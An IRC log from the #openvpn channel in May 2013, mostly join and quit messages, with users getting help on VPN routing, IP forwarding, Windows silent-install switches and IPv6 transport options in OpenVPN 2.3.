07:12 < Khas> Hiya.  This may or may not be openvpn related, but I'm running out of options XD My vpn is running tap (yes I know !tunortap, been over that when I first set it up :D ), and I'm using dhcp at server side to issue routing, ntp, dns, search domain etc.  However, option 3 (default gateway) is being lost between the server sending it, and the client receiving it (check using tcpdump at both ends for a single request).  !notovpn?
07:21 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 245 seconds]
07:22 -!- kyrix [~ashley@195.184.82.195] has joined #openvpn
07:24 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
07:24 -!- AndChat|698676 [~AndChat69@46.115.70.205] has quit [Ping timeout: 260 seconds]
07:25 -!- kyrix [~ashley@195.184.82.195] has quit [Max SendQ exceeded]
07:25 -!- kyrix [~ashley@195.184.82.195] has joined #openvpn
07:26 -!- kyrix [~ashley@195.184.82.195] has quit [Max SendQ exceeded]
07:27 -!- kyrix [~ashley@195.184.82.195] has joined #openvpn
07:28 -!- kyrix [~ashley@195.184.82.195] has quit [Max SendQ exceeded]
07:28 -!- kyrix [~ashley@195.184.82.195] has joined #openvpn
07:29 -!- kyrix [~ashley@195.184.82.195] has quit [Max SendQ exceeded]
07:29 -!- kyrix [~ashley@195.184.82.195] has joined #openvpn
07:30 -!- andreasw [~smuxi@90-230-217-87-no135.tbcn.telia.com] has quit [Read error: Operation timed out]
07:30 -!- xTz [~xTz@64.49.246.131] has quit [Quit: Lost terminal]
07:30 -!- kyrix [~ashley@195.184.82.195] has quit [Max SendQ exceeded]
07:31 -!- kyrix [~ashley@195.184.82.195] has joined #openvpn
07:33 -!- abyss [~abyss@i-free.pl] has quit [Ping timeout: 240 seconds]
07:35 -!- Ungi [~AndChat69@46.115.70.205] has joined #openvpn
07:41 -!- Ungi [~AndChat69@46.115.70.205] has quit [Read error: Connection reset by peer]
07:42 -!- Ungi [~AndChat69@46.115.70.205] has joined #openvpn
07:42 -!- Ungi [~AndChat69@46.115.70.205] has quit [Read error: Connection reset by peer]
07:42 -!- Ungi [~AndChat69@46.115.70.205] has joined #openvpn
07:44 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
07:45 -!- kyrix [~ashley@195.184.82.195] has quit [Read error: Connection reset by peer]
07:46 -!- kyrix [~ashley@195.184.82.195] has joined #openvpn
07:47 -!- kyrix [~ashley@195.184.82.195] has quit [Max SendQ exceeded]
07:47 -!- kyrix [~ashley@195.184.82.195] has joined #openvpn
07:48 -!- kyrix [~ashley@195.184.82.195] has quit [Max SendQ exceeded]
07:48 < jzaw> !ping
07:48 <@vpnHelper> pong
07:52 -!- Ungi [~AndChat69@46.115.70.205] has quit [Ping timeout: 248 seconds]
07:53 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has quit [Remote host closed the connection]
07:55 -!- Ungi [~AndChat69@46.115.70.205] has joined #openvpn
07:59 -!- mikkel_ [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
08:03 -!- kirin` [telex@gateway/shell/anapnea.net/x-hwmqgawlkgapxkgu] has joined #openvpn
08:03 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
08:06 -!- Ungi [~AndChat69@46.115.70.205] has quit [Ping timeout: 276 seconds]
08:23 -!- Ungi [~AndChat69@46.115.70.205] has joined #openvpn
08:26 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 264 seconds]
08:29 -!- abyss [~abyss@i-free.pl] has joined #openvpn
08:36 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
08:42 -!- joshie [~josh@joshie.net] has quit [Ping timeout: 245 seconds]
08:52 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
08:53 -!- feth [foobar@ile-flottante.tuttu.info] has quit [Quit: Lost terminal]
09:00 -!- Ungi [~AndChat69@46.115.70.205] has quit [Ping timeout: 252 seconds]
09:12 -!- Ungi [~AndChat69@46.115.70.205] has joined #openvpn
09:21 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
09:23 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
09:24 -!- jthunder [~jthunder@174.3.126.51] has quit [Client Quit]
09:28 -!- t35guy [~Andrew@ip24-252-25-244.om.om.cox.net] has quit [Ping timeout: 252 seconds]
09:28 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Ping timeout: 260 seconds]
09:43 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 264 seconds]
09:46 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
09:51 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has joined #openvpn
09:52 -!- lbft [~lbft@2605:6400:1:fed5:22:2e7c:e883:4138] has quit [Quit: Bye]
09:54 -!- raidz_away is now known as raidz
09:54 -!- troj [~xxx@ip-static-94-242-205-4.as5577.net] has joined #openvpn
09:59 -!- Ungi [~AndChat69@46.115.70.205] has quit [Ping timeout: 276 seconds]
10:02 -!- brad [~brad@ninja.so] has joined #openvpn
10:03 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 246 seconds]
10:03 -!- lbft [~lbft@2605:6400:1:fed5:22:2e7c:e883:4138] has joined #openvpn
10:05 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
10:08 -!- druid [~druid@drink.cypr.in] has quit [Changing host]
10:08 -!- druid [~druid@unaffiliated/druid] has joined #openvpn
10:14 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
10:16 -!- Ungi [~AndChat69@46.115.70.205] has joined #openvpn
10:21 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
10:21 -!- AndChat|698676 [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
10:26 -!- Ungi [~AndChat69@46.115.70.205] has quit [Ping timeout: 276 seconds]
10:29 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
10:31 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Ping timeout: 252 seconds]
10:40 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
10:46 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Ping timeout: 246 seconds]
10:46 -!- lbft [~lbft@2605:6400:1:fed5:22:2e7c:e883:4138] has quit [Ping timeout: 252 seconds]
10:54 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
10:59 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Remote host closed the connection]
10:59 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
11:02 -!- lbft [~lbft@2605:6400:1:fed5:22:2e7c:e883:4138] has joined #openvpn
11:04 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Ping timeout: 240 seconds]
11:06 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
11:17 -!- unicorn [~p3rror@41.249.253.52] has left #openvpn ["Leaving"]
11:18 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
11:23 -!- ngharo [~ngharo@hacked.thegov.us] has quit [Quit: kernel upgrade]
11:26 -!- ServerTech|ALT [~ServerTec@server2.hosthighway.co] has quit [Ping timeout: 246 seconds]
11:29 -!- ngharo [~ngharo@hacked.thegov.us] has joined #openvpn
11:32 -!- p3rror [~p3rror@41.249.253.52] has quit [Ping timeout: 246 seconds]
11:34 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has joined #openvpn
11:36 -!- joshie [~josh@joshie.net] has joined #openvpn
11:36 -!- ServerTech|ALT [~ServerTec@72.11.156.151] has joined #openvpn
11:39 -!- ServerTech|ALT is now known as ServerTechLaptop
11:51 -!- Zenum [~znc@2a03:f80:ed15:ed15:ed15:ed15:c4fc:f104] has joined #openvpn
11:51 -!- Zenum [~znc@2a03:f80:ed15:ed15:ed15:ed15:c4fc:f104] has quit [Changing host]
11:51 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
11:54 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 256 seconds]
12:01 -!- brute11k [~brute@89.249.235.79] has joined #openvpn
12:02 -!- brute11k1 [~brute@89.249.235.79] has quit [Ping timeout: 264 seconds]
12:11 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:14 -!- AndChat|698676 [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
12:36 -!- Ungi [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
12:37 -!- brian__ [~brian@pool-71-171-107-196.clppva.fios.verizon.net] has quit [Read error: Connection reset by peer]
12:37 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 256 seconds]
12:37 -!- brian__ [~brian@pool-71-171-107-196.clppva.fios.verizon.net] has joined #openvpn
12:40 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
13:29 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has joined #openvpn
13:30 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has quit [Remote host closed the connection]
13:31 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has joined #openvpn
13:31 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has quit [Remote host closed the connection]
13:45 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
13:50 -!- i7c [~i7c@unaffiliated/i7c] has quit [Read error: Operation timed out]
13:51 -!- brute11k [~brute@89.249.235.79] has quit [Read error: Operation timed out]
13:53 -!- kevinsky [~kevin@senna.rosendaal.net] has quit [Ping timeout: 252 seconds]
13:57 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:59 -!- i7c [~i7c@80-69-77-233.colo.transip.net] has joined #openvpn
13:59 -!- i7c [~i7c@80-69-77-233.colo.transip.net] has quit [Changing host]
13:59 -!- i7c [~i7c@unaffiliated/i7c] has joined #openvpn
14:00 -!- kevinsky [~kevin@senna.rosendaal.net] has joined #openvpn
14:08 -!- C21H20O6 [~javacoder@2.190.47.234] has joined #openvpn
14:09 -!- p3rror [~p3rror@41.250.234.192] has joined #openvpn
14:12 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Read error: Operation timed out]
14:14 -!- C21H20O6 [~javacoder@2.190.47.234] has quit [Quit: \]
14:18 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
14:27 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
14:36 -!- raidz is now known as raidz_away
14:38 -!- raidz_away is now known as raidz
14:51 -!- p3rror [~p3rror@41.250.234.192] has quit [Quit: Leaving]
14:51 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn []
14:51 -!- Loco [~root@cpc9-oxfd20-2-0-cust477.4-3.cable.virginmedia.com] has joined #openvpn
14:52 -!- Loco [~root@cpc9-oxfd20-2-0-cust477.4-3.cable.virginmedia.com] has left #openvpn []
14:52 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
14:52 -!- mode/#openvpn [+o mattock_afk] by ChanServ
14:52 -!- mattock_afk is now known as mattock
14:52 -!- tjwallago [~root@cpc9-oxfd20-2-0-cust477.4-3.cable.virginmedia.com] has joined #openvpn
15:00 -!- mattock is now known as mattock_afk
15:13 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
15:29 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Quit: ZNC - http://znc.in]
15:29 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: I shouldn't have left....]
15:29 -!- kubbing [~kubbing@ip-78-102-124-24.net.upcbroadband.cz] has joined #openvpn
15:33 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
16:03 -!- gabeortiz [~gabeortiz@confluxhost.com] has joined #openvpn
16:04 < gabeortiz> Hey so, I want to deploy the ESXi OpenVPN Site-to-Site Client as mentioned here: http://docs.openvpn.net/how-to-tutorialsguides/virtual-platforms/deploying-the-esxi-openvpn-site-to-site-client/
16:04 <@vpnHelper> Title: Deploying the ESXi OpenVPN Site-to-Site Client | Documentation (at docs.openvpn.net)
16:05 < gabeortiz> this link appears to be dead, though. http://as.thedavid.net/OpenVPN%20Client.ova
16:06 < pekster> !as
16:06 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
16:09 < gabeortiz> ok, thanks
16:10 -!- gabeortiz [~gabeortiz@confluxhost.com] has left #openvpn []
16:10 -!- t35guy [~Andrew@ip24-252-25-244.om.om.cox.net] has joined #openvpn
16:50 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
16:52 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds]
16:56 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
16:56 -!- mode/#openvpn [+o dazo_afk] by ChanServ
16:56 -!- dazo_afk is now known as dazo
17:23 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
17:37 -!- kubbing [~kubbing@ip-78-102-124-24.net.upcbroadband.cz] has quit [Remote host closed the connection]
17:39 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
17:39 -!- mode/#openvpn [+o raidz] by ChanServ
17:44 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:47 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has quit [Ping timeout: 264 seconds]
17:56 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 20.0.1/20130409194949]]
18:20 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Read error: Connection reset by peer]
18:25 -!- jivee [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
18:34 -!- MrBIOS [~aperez@50-0-117-119.dedicated.static.sonic.net] has joined #openvpn
18:36 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Quit: ChatZilla 0.9.89-rdmsoft [XULRunner 1.9.0.17/2009122204]]
18:38 -!- matsh [divine@nanogene.org] has quit [Ping timeout: 240 seconds]
18:43 -!- matsh [divine@nanogene.org] has joined #openvpn
19:09 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
19:16 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 252 seconds]
19:17 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Remote host closed the connection]
19:43 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Ping timeout: 256 seconds]
19:56 -!- nastjuid [~nastjuid@c-76-102-128-160.hsd1.ca.comcast.net] has quit [Quit: leaving]
19:58 -!- MrBIOS [~aperez@50-0-117-119.dedicated.static.sonic.net] has quit [Ping timeout: 248 seconds]
20:02 -!- MrBIOS [~aperez@82.sub-70-197-6.myvzw.com] has joined #openvpn
20:05 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
20:06 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
20:07 -!- defswork_ [~andy@141.0.50.105] has quit [Ping timeout: 240 seconds]
20:14 -!- newbie|2 [~tjz@67.228.240.11-static.reverse.softlayer.com] has quit [Quit: quit irc]
20:14 -!- newbie|2 [~tjz@67.228.240.11-static.reverse.softlayer.com] has joined #openvpn
20:15 -!- newbie|2 is now known as tjz
20:21 -!- defswork_ [~andy@141.0.50.105] has joined #openvpn
20:44 -!- mitz_ [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
20:57 -!- raidz is now known as raidz_away
21:04 -!- master_of_master [~master_of@p4FF24036.dip0.t-ipconnect.de] has joined #openvpn
21:05 -!- master_o1_master [~master_of@p4FF244CC.dip0.t-ipconnect.de] has quit [Read error: Operation timed out]
21:06 -!- MrBIOS [~aperez@82.sub-70-197-6.myvzw.com] has quit [Quit: MrBIOS]
21:36 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
21:46 -!- jivee [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
22:07 -!- Cybert1nus [~Cybertinu@2001:828:405:30:83:96:177:42] has joined #openvpn
22:08 -!- MorgyN_ [~mig@island.morgyn.org] has joined #openvpn
22:08 -!- ronnocol [~lance@mail.ronnoco.net] has joined #openvpn
22:11 -!- APTX_ [APTX@unaffiliated/aptx] has joined #openvpn
22:12 -!- kirin` [telex@gateway/shell/anapnea.net/x-hwmqgawlkgapxkgu] has quit [Disconnected by services]
22:12 -!- kirin` [telex@gateway/shell/anapnea.net/x-atnasrqgsfnjnsos] has joined #openvpn
22:13 -!- jave_ [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
22:13 -!- MrPocketz [~MevinKitt@CPE-72-129-142-124.new.res.rr.com] has joined #openvpn
22:13 -!- ingmar5 [~ingmar@2a00:1828:2000:289::cafe:d00d] has joined #openvpn
22:13 -!- MorgyN [~mig@island.morgyn.org] has quit [Ping timeout: 245 seconds]
22:13 -!- ronnocol_ [~lance@mail.ronnoco.net] has quit [Ping timeout: 245 seconds]
22:13 -!- APTX [APTX@unaffiliated/aptx] has quit [Ping timeout: 245 seconds]
22:13 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Ping timeout: 245 seconds]
22:13 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has quit [Ping timeout: 245 seconds]
22:13 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has quit [Ping timeout: 245 seconds]
22:13 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds]
22:13 -!- MikeH [MikeH@2a01:7e00::f03c:91ff:fe93:f271] has quit [Ping timeout: 245 seconds]
22:13 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has quit [Ping timeout: 245 seconds]
22:13 -!- MrPockets [~MevinKitt@unaffiliated/mrpockets] has quit [Excess Flood]
22:13 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 245 seconds]
22:13 -!- dazo_afk [~dazo@2001:470:de40:1021::14] has joined #openvpn
22:13 -!- dazo_afk is now known as dazo
22:13 -!- Ungi [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
22:14 -!- dazo is now known as Guest46915
22:14 -!- MikeH_ [MikeH@2a01:7e00::f03c:91ff:fe93:f271] has joined #openvpn
22:15 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
22:15 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
22:24 -!- MrBIOS [~aperez@c-67-169-178-48.hsd1.ca.comcast.net] has joined #openvpn
22:27 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Read error: Operation timed out]
22:27 -!- t35guy [~Andrew@ip24-252-25-244.om.om.cox.net] has quit [Ping timeout: 256 seconds]
22:47 -!- chovy [~chovy@108-194-42-92.lightspeed.mtryca.sbcglobal.net] has joined #openvpn
22:47 < chovy> howdy
22:48 < chovy> What's the easiest way to setup a vpn, so I can use Tunnelblick on my mac to route my traffic through my debian server?
22:49 < chovy> all i really need is my web traffic to look like its coming from my server, not my mac.
22:50 < pekster> Start with the basic howto, then see !redirect. To get you started:
22:50 < pekster> !howto
22:50 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
22:52 -!- Matir [~matir@ubuntu/member/matir] has quit [Ping timeout: 245 seconds]
23:06 -!- Matir [~matir@ubuntu/member/matir] has joined #openvpn
23:43 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
23:51 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
23:57 -!- MrBIOS [~aperez@c-67-169-178-48.hsd1.ca.comcast.net] has quit [Quit: MrBIOS]
--- Day changed Thu May 16 2013
00:02 -!- MrBIOS [~aperez@c-67-169-178-48.hsd1.ca.comcast.net] has joined #openvpn
00:33 < tjwallago> can anyone help with this https://forums.openvpn.net/topic12894.html
00:33 <@vpnHelper> Title: OpenVPN Support Forum routing issues. : Configuration (at forums.openvpn.net)
00:34 < tjwallago> it is driving me nuts
00:45 < tjwallago> anyone?
00:46 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
00:48 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
00:50 <@krzee> tjwallago,
00:50 <@krzee> you need to use a different vpn subnet
00:51 <@krzee> like 10.8.0.0 255.255.255.0
00:51 < tjwallago> for the server section?
00:51 <@krzee> yep
00:51 <@krzee> then make sure your server has ip forwarding enabled
00:51 -!- MrBIOS [~aperez@c-67-169-178-48.hsd1.ca.comcast.net] has quit [Quit: MrBIOS]
00:51 <@krzee> are you aware you can share a client's lan as well?
00:52 <@krzee> (so maybe you want the vps to be the server?)
00:52 <@krzee> make sure you turn on ip forwarding as well
00:53 <@krzee> !fbsdipforward
00:53 <@vpnHelper> "fbsdipforward" is is set gateway_enable="YES" in /etc/rc.conf to enable ip forwarding in freebsd
00:53 < tjwallago> I have ip forwarding on the server in my home network. And i require the VPN server to be at home as my home network has my svn server and nas box
00:53 <@krzee> its a sysctl tunable for enabling til reboot
00:53 <@krzee> that does not mean you need the server at home
00:54 <@krzee> you can share lans behind clients as well
00:54 <@krzee> but i guess it helps to have the server there if its a NAS
00:55 <@krzee> since traffic will always flow through the server when clients communicate
00:55 <@krzee> (with large file transfers this would add unnecessary bandwidth usage on the server)
00:57 < tjwallago> ok, i have changed the server to "server 10.8.1.0  255.255.255.0" and restart openvpn on both sides
00:58 < tjwallago> any it seems to be working
00:58 < tjwallago> thanks krzee!
00:58 <@krzee> you're welcome
00:58 <@krzee> ill respond on the forum too
00:59 < tjwallago> Thank you very much, much appreciated
01:00 <@krzee> can you ping other lan machines over the vpn too?
01:01 < tjwallago> yupp i can ping my VPN server on the 192.168.0.0/24 subnet and the NAS box
01:06 -!- gedO [~Thunderbi@88.119.154.240] has joined #openvpn
01:06 < gedO> Hello, can someone tell me where to find openvpn developers chanel?
01:07 < EugeneKay> gedO - it's either #openvpn-dev or -devel, I don't remember which
01:07 < chovy> !redirect
01:08 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
01:08 <@vpnHelper> http://ircpimps.org/redirect.png
01:09 < gedO> Can someone tel me windows silent install switches?
01:14 <@krzee> i dont know them if they exist, but there is this
01:14 <@krzee> !win_rollup
01:14 <@krzee> !win_rollup2
01:14 <@vpnHelper> "win_rollup" is please see http://www.secure-computing.net/wiki/index.php/OpenVPN/HowTo_for_Windows_2 for dazo's writeup on making unattended windows installers for openvpn
01:17 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Read error: Operation timed out]
01:21 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
01:25 -!- ingmar5 [~ingmar@2a00:1828:2000:289::cafe:d00d] has quit [Quit: ZNC - http://znc.sourceforge.net]
01:26 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has joined #openvpn
01:27 < EugeneKay> Grr. What do I need to set in 2.3 to get it to listen to an ipv6 address[es] ?
01:27 < gedO> vpnHelper: I don't need to create it, I need openvpns silent install switches
01:28 < gedO> vpnHelper: With theme I can say to standart installer what to install and what not to install
01:39 <@krzee> !bot
01:39 <@vpnHelper> "bot" is I'm a bot.. just a bot. krzee and ecrist are my maintainers, and I haven't said anything, if you'd notice, the person who spoke just before me gave a !command to make me speak :P
01:40 < pekster> gedO: huh? Everything you see in the source file between lines 384 and 402 can be selected by you all you want
01:40 < pekster> Pick a channel. Both is confusing
01:41 < pekster> (especially when folks that might not be in one only get half the conversation)
01:41 < pekster> might be in*
01:41 < gedO> pekster: stay in developers chanel :)
01:41 < pekster> It's not really an issue with the source code
01:42 < gedO> pekster: okey, stay here :) Can you post for me a command yuo user?
01:42 < gedO> *used
01:42 <@krzee> gedO, here is good, the devs read the scrollback for non-users-getting-help info
01:42 < pekster> openvpn-install.exe /S /SELECT_OPENSSL_UTILITIES=1 /D=c:\whatever\you\like
01:42 < gedO> pekster: Okey, I will try doing like this
01:43 < pekster> I'll be happy to recommend -devel if an issue with the code is involved, but beyond looking up what the command flags are (see my refrence above in this channel for that) it's not a "problem" requiring a programatic fix
01:43 < pekster> And you should have been able to piece that command line together with the info I gave you above (I even gave you a direct link to the NSIS docs on the subject)
01:43 -!- tjwallago [~root@cpc9-oxfd20-2-0-cust477.4-3.cable.virginmedia.com] has quit [Quit: Lost terminal]
01:43 < gedO> pekster: Thank you, I worked for me :)
01:44 < gedO> pekster: Now I will do some testing on several operaiting systems and architectures
01:46 <@krzee> EugeneKay, when you listen on all ips it doesnt bind to the ipv6 ones?
01:46 < EugeneKay> Figured it out. --proto udp6
01:47 <@krzee> oh right i remember that now :D
01:47 < pekster> EugeneKay: If you also use --local it won't accept IPv4 connections, at least until the multihoming patches make their way into a formal release
01:47 < EugeneKay> I have a better route via v6 than v4
01:47 < EugeneKay> So I'm setting up one tunnel with v4-only and a second with both, but no "real" v4 routes.
01:47 < pekster> Otherwise, lisetning on :::1194 (or w/e your port of choice is) should do v4 fine too
01:48 < pekster> (I think. Haven't actually tried that)
01:48 < EugeneKay> I doubt it; given the "unknown host" being passed back
01:48 <@krzee> !learn ipv6_transport as use --proto udp6
01:48 <@vpnHelper> Joo got it.
01:49 -!- t35guy [~Andrew@ip24-252-25-244.om.om.cox.net] has joined #openvpn
01:49 < EugeneKay> Grr. What the hell arguemnt am I supposed to give to route-ipv6-gateway
01:49 < EugeneKay> It isn't bloody documented in the man page
01:50 < pekster> Same as for v4; the server's IP you want clients to route via
01:50 < pekster> (I'd assume $your_prefix::1, unless you're doing something odd)
01:50 < dioz> wtf?
01:50 < EugeneKay> Options error: Unrecognized option or missing parameter(s) in server-udp-6.conf:46: route-ipv6-gateway (2.3.1)
01:51 < dioz> my windows changed my bad
01:51 < EugeneKay> route-ipv6-gateway 2001:470:58:1000::1
01:51 -!- mitz_ [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Remote host closed the connection]
01:51 <@krzee> doing ipv6 inside the tunnel too?
01:51 < EugeneKay> It dun work :-p
01:51 < EugeneKay> Yeah
01:52 < pekster> Hmm, curious. I see the option referenced in the --help output, but it's not in the sources as a valid option in options.c :\
01:52 < EugeneKay> Fucking
01:53 < EugeneKay> You're serious.
01:53 < EugeneKay> I can't be the first person to try setting this up without the crutch that is --server
01:53 < pekster> Looks like it'll normally come from --ifconfig's 2nd value
01:53 < pekster> Mine works fine handing out IPv6 addresses without it
01:53 -!- Ungi [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
01:54 < EugeneKay> There isn't a second param for --ifconfig-ipv6
01:54 < EugeneKay> Well, there is, but it doesn't say wtf it's supposed to be?
01:54 < EugeneKay> s/be/mean/
01:54 < pekster> The PtP endpoint, same as with any PtP connection
01:54 < EugeneKay> Which'd be, what, ::1 ?
01:55 < EugeneKay> $subnet::1 that is
01:55 < pekster> Yea (again, unless you put your server on something weird. ::1 is more or less standard)
01:55 < pekster> So, you "shouldn't ever need" the currently-nonexistant-option --route-ipv6-gateway
01:56 -!- toobluesc [~nitro@c-50-152-143-224.hsd1.ca.comcast.net] has joined #openvpn
01:56 <@krzee> why not use --server-ipv6 ?
01:57 -!- awc737 [~awc737@2604:180:1::e9e7:263f] has quit [Read error: Operation timed out]
01:57 < EugeneKay> Cuz I'm not using --server, mostly.
01:57 < pekster> Helper-directives are a PITA when you later end up changing something minor (pool range f.eg) and end up breaking things due to incorrect expansion
01:57 < pekster> I try to avoid them at all costs
01:57 < EugeneKay> That ^
01:58 < EugeneKay> Ugh, and of COURSE it only binds on the FIRST AAAA record returned for the hostname I put in --local, but the client is trying to connect to the second
01:58 <@krzee> i've never had to change pool range
01:58  * EugeneKay makes a single-purpose hostname
01:58 < pekster> I'd avoid DNS records for --local personally
02:00 < EugeneKay> Thu May 16 06:59:23 2013 OpenVPN ROUTE6: OpenVPN needs a gateway parameter for a --route-ipv6 option and no default was specified by either --route-ipv6-gateway or --ifconfig-ipv6 options
02:00 < EugeneKay> :-/
02:00 < pekster> What are you doing to not give it one via --ifconfig-ipv6
02:00 <@krzee> haha route-ipv6-gateway doesnt exist but is in the error msg
02:01 < EugeneKay> This is so poorly documented
02:01 < EugeneKay> It's like using Cisco
